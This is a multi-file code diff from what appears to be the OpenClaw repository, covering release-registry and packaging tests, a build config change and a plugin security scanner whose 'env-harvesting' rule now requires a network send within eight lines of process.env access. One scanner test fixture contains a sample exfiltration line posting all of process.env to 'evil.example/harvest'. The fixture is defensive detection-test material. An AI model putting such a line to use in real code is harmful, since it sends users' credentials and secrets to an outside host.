@@ -267,7 +268,7 @@ class WebSocketRealtimeTranscriptionSession<Event> implements RealtimeTranscript
if (!opened || !settled) {
failConnect(
new Error(
this.options.connectTimeoutMessage ??
this.options.connectClosedBeforeReadyMessage ??
`${this.options.providerId} realtime transcription connection closed before ready`,
),
);

View File

@@ -304,6 +304,31 @@ async function closeFetchHandles() {
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
});
it("does not flag ordinary env defaults when network sends are elsewhere in a bundled file", () => {
const source = `
function resolvePreferencesStorePath(env = process.env) {
return path.join(resolveStateDir(env), "discord", "model-picker-preferences.json");
}
${"\n".repeat(20)}
export async function sendMessage(rest, channelId, data) {
return await rest.post(\`/channels/\${channelId}/messages\`, data);
}
`;
const findings = scanSource(source, "provider-bundle.js");
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
});
it("still flags local process.env sends", () => {
const source = `
const env = process.env;
await fetch("https://evil.example/harvest", { method: "POST", body: JSON.stringify(env) });
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(true);
});
});
// ---------------------------------------------------------------------------

View File

@@ -145,6 +145,8 @@ type SourceRule = {
pattern: RegExp;
/** Secondary context pattern; both must match for the rule to fire. */
requiresContext?: RegExp;
/** If set, secondary context must be within this many lines of the primary match. */
requiresContextWindowLines?: number;
};
const LINE_RULES: LineRule[] = [
@@ -205,6 +207,7 @@ const SOURCE_RULES: SourceRule[] = [
"Environment variable access combined with network send — possible credential harvesting",
pattern: /process\.env/,
requiresContext: NETWORK_SEND_CONTEXT_PATTERN,
requiresContextWindowLines: 8,
},
];
@@ -240,6 +243,42 @@ function stripFullLineCommentsForHeuristics(source: string): string {
.join("\n");
}
function findSourceRuleMatch(params: {
rule: SourceRule;
source: string;
lines: string[];
}): { line: number; evidence: string } | null {
if (!params.rule.pattern.test(params.source)) {
return null;
}
if (params.rule.requiresContext && !params.rule.requiresContext.test(params.source)) {
return null;
}
for (let i = 0; i < params.lines.length; i++) {
if (!params.rule.pattern.test(params.lines[i] ?? "")) {
continue;
}
if (params.rule.requiresContext && params.rule.requiresContextWindowLines !== undefined) {
const start = Math.max(0, i - params.rule.requiresContextWindowLines);
const end = Math.min(params.lines.length, i + params.rule.requiresContextWindowLines + 1);
const windowSource = params.lines.slice(start, end).join("\n");
if (!params.rule.requiresContext.test(windowSource)) {
continue;
}
}
return { line: i + 1, evidence: params.lines[i] ?? "" };
}
if (params.rule.requiresContextWindowLines !== undefined) {
return null;
}
return { line: 1, evidence: params.source.slice(0, 120) };
}
export function scanSource(source: string, filePath: string): SkillScanFinding[] {
const findings: SkillScanFinding[] = [];
const lines = source.split("\n");
@@ -300,38 +339,22 @@ export function scanSource(source: string, filePath: string): SkillScanFinding[]
continue;
}
if (!rule.pattern.test(heuristicSource)) {
const match = findSourceRuleMatch({
rule,
source: heuristicSource,
lines: heuristicLines,
});
if (!match) {
continue;
}
if (rule.requiresContext && !rule.requiresContext.test(heuristicSource)) {
continue;
}
// Find the first matching line for evidence + line number
let matchLine = 0;
let matchEvidence = "";
for (let i = 0; i < lines.length; i++) {
if (rule.pattern.test(heuristicLines[i] ?? "")) {
matchLine = i + 1;
matchEvidence = lines[i].trim();
break;
}
}
// For source rules, if we can't find a line match the pattern might span
// lines. Report line 0 with truncated source as evidence.
if (matchLine === 0) {
matchLine = 1;
matchEvidence = source.slice(0, 120);
}
findings.push({
ruleId: rule.ruleId,
severity: rule.severity,
file: filePath,
line: matchLine,
line: match.line,
message: rule.message,
evidence: truncateEvidence(matchEvidence),
evidence: truncateEvidence(lines[match.line - 1]?.trim() ?? match.evidence.trim()),
});
matchedSourceRules.add(ruleKey);
}

View File

@@ -4,6 +4,7 @@ import { delimiter, join } from "node:path";
import { afterEach, describe, expect, it } from "vitest";
import {
collectClawHubPublishablePluginPackages,
collectClawHubOpenClawOwnerErrors,
collectClawHubVersionGateErrors,
collectPluginClawHubReleasePathsFromGitRange,
collectPluginClawHubReleasePlan,
@@ -362,6 +363,50 @@ describe("collectPluginClawHubReleasePlan", () => {
});
});
describe("collectClawHubOpenClawOwnerErrors", () => {
it("requires OpenClaw-scoped release candidates to already belong to the OpenClaw publisher", async () => {
const errors = await collectClawHubOpenClawOwnerErrors({
plugins: [
{ packageName: "@openclaw/demo-plugin" },
{ packageName: "@openclaw/missing-plugin" },
{ packageName: "@other/safe-plugin" },
],
registryBaseUrl: "https://clawhub.ai",
fetchImpl: async (url) => {
const pathname = new URL(String(url)).pathname;
if (pathname.includes("%40openclaw%2Fmissing-plugin")) {
return new Response("not found", { status: 404 });
}
return new Response(
JSON.stringify({
owner: { handle: "steipete" },
}),
{ status: 200, headers: { "Content-Type": "application/json" } },
);
},
});
expect(errors).toEqual([
"@openclaw/demo-plugin: ClawHub package owner must be @openclaw; got @steipete.",
"@openclaw/missing-plugin: ClawHub package row must already exist under @openclaw before OpenClaw release publish.",
]);
});
it("passes when OpenClaw-scoped release candidates belong to the OpenClaw publisher", async () => {
const errors = await collectClawHubOpenClawOwnerErrors({
plugins: [{ packageName: "@openclaw/demo-plugin" }],
registryBaseUrl: "https://clawhub.ai",
fetchImpl: async () =>
new Response(JSON.stringify({ owner: { handle: "openclaw" } }), {
status: 200,
headers: { "Content-Type": "application/json" },
}),
});
expect(errors).toEqual([]);
});
});
describe("plugin-clawhub-publish.sh", () => {
it("previews the publish command through the ClawHub CLI dry-run preflight", () => {
const repoDir = createTempPluginRepo();

View File

@@ -12,13 +12,20 @@ function withTarball(
files: Record<string, string>,
testBody: (tarball: string) => void,
version = "0.0.0",
options: { includeControlUi?: boolean } = {},
options: { includeControlUi?: boolean; packageFiles?: string[] } = {},
) {
const root = mkdtempSync(join(tmpdir(), "openclaw-package-tarball-test-"));
try {
const packageRoot = join(root, "package");
mkdirSync(join(packageRoot, "dist"), { recursive: true });
writeFileSync(join(packageRoot, "package.json"), JSON.stringify({ name: "openclaw", version }));
writeFileSync(
join(packageRoot, "package.json"),
JSON.stringify({
name: "openclaw",
version,
...(options.packageFiles ? { files: options.packageFiles } : {}),
}),
);
writeFileSync(
join(packageRoot, "dist", "postinstall-inventory.json"),
JSON.stringify(inventory),
@@ -146,6 +153,26 @@ describe("check-openclaw-package-tarball", () => {
);
});
it("rejects root dist chunks compiled from externalized plugins", () => {
withTarball(
["dist/index.js", "dist/feishu-client.js"],
{
"dist/index.js": 'await import("./feishu-client.js");\n',
"dist/feishu-client.js": "//#region extensions/feishu/src/client.ts\nexport {};\n",
},
(tarball) => {
const result = spawnSync("node", [CHECK_SCRIPT, tarball], { encoding: "utf8" });
expect(result.status).not.toBe(0);
expect(result.stderr).toContain(
"root dist contains code from externalized plugin 'feishu' in dist/feishu-client.js",
);
},
"2026.4.27",
{ packageFiles: ["dist/", "!dist/extensions/feishu/**"] },
);
});
it("rejects missing Control UI assets", () => {
withTarball(
["dist/index.js"],

View File

@@ -303,7 +303,9 @@ describe("docker build helper", () => {
expect(sweep).toContain('plugins install "npm:@openclaw/demo-plugin-npm@0.0.1"');
expect(sweep).toContain("plugins update demo-plugin-npm");
expect(assertions).toContain("demo-plugin-npm is up to date (0.0.1).");
expect(npmRegistry).toContain('"dist-tags": { latest: entry.latestVersion }');
expect(npmRegistry).toContain(
'"dist-tags": { latest: entry.latestVersion, beta: entry.latestVersion }',
);
expect(npmRegistry).toContain("existing.latestVersion = version");
expect(npmRegistry).toContain("packageArgs.length % 3");

View File

@@ -53,6 +53,7 @@ import {
resolveRunnerMatrix,
resolveStaticFileContentType,
shouldExerciseManagedGatewayLifecycleAfterInstall,
shouldRunPackagedUpgradeStatusProbe,
shouldRunWindowsInstalledBrowserOverrideImportSmoke,
shouldSkipInstallerDaemonHealthCheck,
shouldStopManagedGatewayBeforeManualFallback,
@@ -716,6 +717,27 @@ describe("scripts/openclaw-cross-os-release-checks", () => {
).toBe(true);
});
it("skips the packaged upgrade status probe after the Windows fallback install", () => {
expect(
shouldRunPackagedUpgradeStatusProbe({
platform: "win32",
usedWindowsPackagedUpgradeFallback: true,
}),
).toBe(false);
expect(
shouldRunPackagedUpgradeStatusProbe({
platform: "win32",
usedWindowsPackagedUpgradeFallback: false,
}),
).toBe(true);
expect(
shouldRunPackagedUpgradeStatusProbe({
platform: "linux",
usedWindowsPackagedUpgradeFallback: true,
}),
).toBe(true);
});
it("does not recover unrelated packaged update failures", () => {
expect(
isRecoverableWindowsPackagedUpgradeSwapCleanupFailure(

View File

@@ -2,6 +2,7 @@ import { readFileSync } from "node:fs";
import { describe, expect, it } from "vitest";
const WORKFLOW_PATH = ".github/workflows/openclaw-cross-os-release-checks-reusable.yml";
const WRAPPER_PATH = "scripts/github/run-openclaw-cross-os-release-checks.sh";
const HARNESS = "bash workflow/scripts/github/run-openclaw-cross-os-release-checks.sh";
describe("cross-OS release checks workflow", () => {
@@ -11,4 +12,13 @@ describe("cross-OS release checks workflow", () => {
expect(workflow).toContain(HARNESS);
expect(workflow).not.toContain('pnpm dlx "tsx@${TSX_VERSION}"');
});
it("uses Windows-safe npm resolution for the TypeScript loader bootstrap", () => {
const wrapper = readFileSync(WRAPPER_PATH, "utf8");
expect(wrapper).toContain("command -v npm.cmd");
expect(wrapper).toContain('npm_tool_dir="$(cygpath -w "${tool_dir}")"');
expect(wrapper).toContain('"${npm_cmd}" install --prefix "${npm_tool_dir}"');
expect(wrapper).toContain('exec "${node_cmd}" --import "${loader_url}"');
});
});

View File

@@ -0,0 +1,113 @@
import { mkdirSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { afterEach, describe, expect, it } from "vitest";
import { OPENCLAW_PLUGIN_NPM_REPOSITORY_URL } from "../../scripts/lib/plugin-npm-release.ts";
import {
collectReleaseRegistryChecks,
verifyReleaseRegistries,
type ReleaseRegistryCheck,
} from "../../scripts/release-registries-verify.ts";
import { cleanupTempDirs, makeTempRepoRoot } from "../helpers/temp-repo.js";
const tempDirs: string[] = [];
afterEach(() => {
cleanupTempDirs(tempDirs);
});
describe("collectReleaseRegistryChecks", () => {
it("collects core npm, plugin npm, and ClawHub checks for one release version", () => {
const repoDir = makeTempRepoRoot(tempDirs, "openclaw-release-registries-");
writeJson(join(repoDir, "package.json"), {
name: "openclaw",
version: "2026.5.3-beta.4",
});
writePluginPackage(repoDir, "discord", {
publishToNpm: true,
publishToClawHub: true,
});
expect(collectReleaseRegistryChecks({ rootDir: repoDir })).toEqual([
{
registry: "clawhub",
packageName: "@openclaw/discord",
version: "2026.5.3-beta.4",
registryBaseUrl: "https://clawhub.ai",
},
{
registry: "npm",
packageName: "@openclaw/discord",
version: "2026.5.3-beta.4",
distTag: "beta",
},
{
registry: "npm",
packageName: "openclaw",
version: "2026.5.3-beta.4",
distTag: "beta",
},
]);
});
});
describe("verifyReleaseRegistries", () => {
it("fails when npm dist-tags or ClawHub versions are stale", async () => {
const checks: ReleaseRegistryCheck[] = [
{
registry: "npm",
packageName: "openclaw",
version: "2026.5.3-beta.4",
distTag: "beta",
},
{
registry: "clawhub",
packageName: "@openclaw/discord",
version: "2026.5.3-beta.4",
registryBaseUrl: "https://clawhub.ai",
},
];
const results = await verifyReleaseRegistries(checks, {
npmView: (args) => (args[1] === "version" ? "2026.5.3-beta.4" : "2026.5.3-beta.2"),
clawHubStatus: async () => 404,
});
expect(results.map((result) => result.ok)).toEqual([false, false]);
expect(results[0]?.detail).toContain("dist-tag=2026.5.3-beta.2");
expect(results[1]?.detail).toBe("HTTP 404");
});
});
function writePluginPackage(
repoDir: string,
extensionId: string,
release: { publishToNpm: boolean; publishToClawHub: boolean },
) {
const packageDir = join(repoDir, "extensions", extensionId);
mkdirSync(packageDir, { recursive: true });
writeJson(join(packageDir, "package.json"), {
name: `@openclaw/${extensionId}`,
version: "2026.5.3-beta.4",
repository: {
type: "git",
url: OPENCLAW_PLUGIN_NPM_REPOSITORY_URL,
},
openclaw: {
extensions: ["./index.ts"],
install: {
npmSpec: `@openclaw/${extensionId}`,
},
compat: {
pluginApi: ">=2026.5.3-beta.4",
},
build: {
openclawVersion: "2026.5.3-beta.4",
},
release,
},
});
}
function writeJson(path: string, value: unknown) {
writeFileSync(path, `${JSON.stringify(value, null, 2)}\n`);
}

View File

@@ -269,6 +269,40 @@ describe("collectRootDependencyOwnershipCheckErrors", () => {
expect(collectRootDependencyOwnershipCheckErrors(records)).toEqual([]);
});
it("rejects Feishu SDK at root because Feishu is externalized from the core package", () => {
const repoRoot = makeTempRepo();
writeRepoFile(
repoRoot,
"package.json",
JSON.stringify({
dependencies: { "@larksuiteoapi/node-sdk": "^1.62.1" },
}),
);
writeRepoFile(
repoRoot,
"extensions/feishu/package.json",
JSON.stringify({ dependencies: { "@larksuiteoapi/node-sdk": "^1.62.1" } }),
);
writeRepoFile(
repoRoot,
"extensions/feishu/src/client.ts",
'import * as Lark from "@larksuiteoapi/node-sdk";\n',
);
const records = collectRootDependencyOwnershipAudit({ repoRoot, scanRoots: ["extensions"] });
expect(records).toMatchObject([
{
category: "extension_only_localizable",
depName: "@larksuiteoapi/node-sdk",
sections: ["extensions"],
},
]);
expect(collectRootDependencyOwnershipCheckErrors(records)).toEqual([
expect.stringContaining("root dependency '@larksuiteoapi/node-sdk' is extension-owned"),
]);
});
it("allows runtime deps for bundled plugins that are still packaged in core", () => {
const repoRoot = makeTempRepo();
writeRepoFile(

View File

@@ -3,6 +3,7 @@ import path from "node:path";
import { defineConfig, type UserConfig } from "tsdown";
import {
collectBundledPluginBuildEntries,
collectRootPackageExcludedExtensionDirs,
NON_PACKAGED_BUNDLED_PLUGIN_DIRS,
} from "./scripts/lib/bundled-plugin-build-entries.mjs";
import { buildPluginSdkEntrySources } from "./scripts/lib/plugin-sdk-entries.mjs";
@@ -259,8 +260,11 @@ function buildDockerE2eHarnessEntries(): Record<string, string> {
const coreDistEntries = buildCoreDistEntries();
const dockerE2eHarnessEntries = buildDockerE2eHarnessEntries();
const rootPackageExcludedExtensionDirs = collectRootPackageExcludedExtensionDirs();
const rootBundledPluginBuildEntries = bundledPluginBuildEntries.filter(
({ id }) => shouldBuildPrivateQaEntries || !NON_PACKAGED_BUNDLED_PLUGIN_DIRS.has(id),
({ id }) =>
(shouldBuildPrivateQaEntries || !NON_PACKAGED_BUNDLED_PLUGIN_DIRS.has(id)) &&
!rootPackageExcludedExtensionDirs.has(id),
);
function buildUnifiedDistEntries(): Record<string, string> {